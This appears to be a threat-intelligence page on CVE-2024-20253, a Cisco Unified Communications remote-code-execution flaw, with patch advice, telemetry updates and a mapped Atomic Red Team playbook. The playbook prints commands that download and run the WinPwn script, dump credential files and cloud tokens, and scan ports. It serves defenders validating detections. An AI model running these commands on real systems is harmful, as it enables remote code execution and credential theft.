CVE-2024-20253

CRITICAL Pub 26/01 Upd 29/05

Overview

This vulnerability is a remote code execution flaw caused by improper deserialization of user-supplied data within Cisco Unified Communications and Contact Center Solutions. The root cause lies in insecure processing of crafted messages sent to a listening service port, leading to unsafe memory operations. The affected components include Cisco Unified Communications Manager and related contact center services handling session management and messaging.

Vulnerability Description

A vulnerability in multiple Cisco Unified Communications and Contact Center Solutions products could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. This vulnerability is due to the improper processing of user-provided data that is being read into memory. An attacker could exploit this vulnerability by sending a crafted message to a listening port of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the privileges of the web services user. With access to the underlying operating system, the attacker could also establish root access on the affected device.

Impact

An unauthenticated remote attacker can execute arbitrary commands on the underlying operating system with web services user privileges, potentially escalating to root access. No prior authentication or user interaction is required, as the exploit leverages network access to a listening port (AV:N/AC:L/PR:N/UI:N). This enables full system compromise, data exfiltration, service disruption, and lateral movement within enterprise environments running affected Cisco Unified Communications and Contact Center products.

Solution

Cisco has released security updates addressing this vulnerability in affected Unified Communications Manager and Contact Center Enterprise versions. Administrators should apply the patches as outlined in Cisco Security Advisory cisco-sa-cucm-rce-bWNzQcUm. The advisory provides detailed instructions for upgrading to fixed releases and recommends disabling vulnerable services if immediate patching is not possible. Refer to the Cisco advisory for exact version numbers and remediation steps.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability exists within multiple Cisco Unified Communications and Contact Center Solutions products, stemming from improper handling of user-provided data during memory processing. This flaw allows an unauthenticated remote attacker to execute arbitrary code on affected devices. The vulnerability arises when crafted messages are sent to a listening port, which the device processes without adequate validation. As a result, the attacker can manipulate the system to run commands with the privileges of the web services user, potentially leading to full control over the underlying operating system.

Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage network access to send specially crafted messages to the affected service, which is typically exposed to the internet or internal networks. Once the crafted message is received, the improper processing can lead to arbitrary code execution. This scenario is particularly concerning for organizations that utilize these communication solutions, as the attacker could gain access to sensitive information, disrupt services, or deploy additional malicious software. The ability to execute commands with elevated privileges opens the door to further exploitation, including establishing root access, which could compromise the entire system.

The real-world impact of this vulnerability is significant, especially for organizations that rely on Cisco's Unified Communications and Contact Center Solutions for their operations. A successful exploit could lead to unauthorized access to confidential communications, customer data, and internal systems, resulting in severe business risks such as data breaches, loss of customer trust, and potential regulatory penalties. Furthermore, the operational disruption caused by such an attack could lead to financial losses and damage to the organization's reputation. The high CVSS score indicates the severity of the threat, emphasizing the urgency for organizations to address this vulnerability promptly.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching affected products is crucial to close the security gap. Additionally, network segmentation can help limit exposure by restricting access to sensitive systems. Employing intrusion detection systems (IDS) can assist in identifying unusual traffic patterns that may indicate an attempted exploit. Organizations should also conduct regular security assessments and penetration testing to evaluate their defenses against potential attacks. Training staff on security best practices and incident response can further enhance resilience against exploitation attempts.

In conclusion, the vulnerability present in Cisco's Unified Communications and Contact Center Solutions poses a serious threat to organizations utilizing these products. The potential for remote code execution by unauthenticated attackers highlights the need for immediate action to secure affected systems. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare their defenses and mitigate the risks associated with this critical vulnerability.




CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-20253, with new sightings emerging after a period of dormancy. This uptick indicates that threat actors are actively probing or attempting to exploit the vulnerability in Cisco Unified Contact Center Enterprise environments. Although no new exploit techniques or proof-of-concept code have surfaced, the increase in reconnaissance and potential exploitation attempts elevates the operational risk. Defenders should interpret this trend as a signal that adversaries are prioritizing this vector, increasing the likelihood of successful compromise if systems remain unpatched. Despite the EPSS score remaining stable and low, the qualitative surge in telemetry underscores a heightened threat posture that warrants close monitoring and reinforces the criticality of timely remediation.



Update 2 — July 19, 2026

CSURFACE threat intelligence has identified a marked escalation in reconnaissance and exploitation attempts targeting the vulnerability in Cisco Unified Contact Center Enterprise. Our telemetry indicates a doubling in detection frequency over the recent period, signaling increased adversary interest and probing activity. While no new exploit techniques or proof-of-concept code have been observed, this surge in activity suggests threat actors are actively validating or preparing to weaponize this vector. The stable EPSS score does not fully capture this dynamic, as qualitative data from our sensors reveal a heightened operational tempo that elevates the risk of successful compromise. Consequently, the threat landscape for this vulnerability has shifted from latent to actively contested, underscoring an urgent need for defenders to maintain vigilance and prioritize monitoring efforts.

Affected Products (12)

Vendor Product Version CPE
cisco Cisco Unified Communications Manager All cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:-:*:*:*
cisco Cisco Unified Communications Manager All cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:*:*:*:*
cisco Cisco Unified Communications Manager All cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:session_management:*:*:*
cisco Cisco Unified Communications Manager All cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:session_management:*:*:*
cisco Cisco Unified Communications Manager Im And Presence Service All cpe:2.3:a:cisco:unified_communications_manager_im_and_presence_service:*:*:*:*:*:*:*:*
cisco Cisco Unified Communications Manager Im And Presence Service All cpe:2.3:a:cisco:unified_communications_manager_im_and_presence_service:*:*:*:*:*:*:*:*
cisco Cisco Unity Connection All cpe:2.3:a:cisco:unity_connection:*:*:*:*:*:*:*:*
cisco Cisco Unity Connection All cpe:2.3:a:cisco:unity_connection:*:*:*:*:*:*:*:*
cisco Cisco Unified Contact Center Express 12.5\(1\) cpe:2.3:a:cisco:unified_contact_center_express:12.5\(1\):-:*:*:*:*:*:*
cisco Cisco Virtualized Voice Browser 12.5\(1\) cpe:2.3:a:cisco:virtualized_voice_browser:12.5\(1\):*:*:*:*:*:*:*
cisco Cisco Virtualized Voice Browser 12.6\(1\) cpe:2.3:a:cisco:virtualized_voice_browser:12.6\(1\):*:*:*:*:*:*:*
cisco Cisco Virtualized Voice Browser 12.6\(2\) cpe:2.3:a:cisco:virtualized_voice_browser:12.6\(2\):*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

4 events
2026-07-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
100% rce
OS Command Injection
93% command_injection
Deserialization Vulnerabilities
75% deserialization
Code Injection
70% code_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-586 Object Injection
51%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-20253
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-rce-bWNzQcUm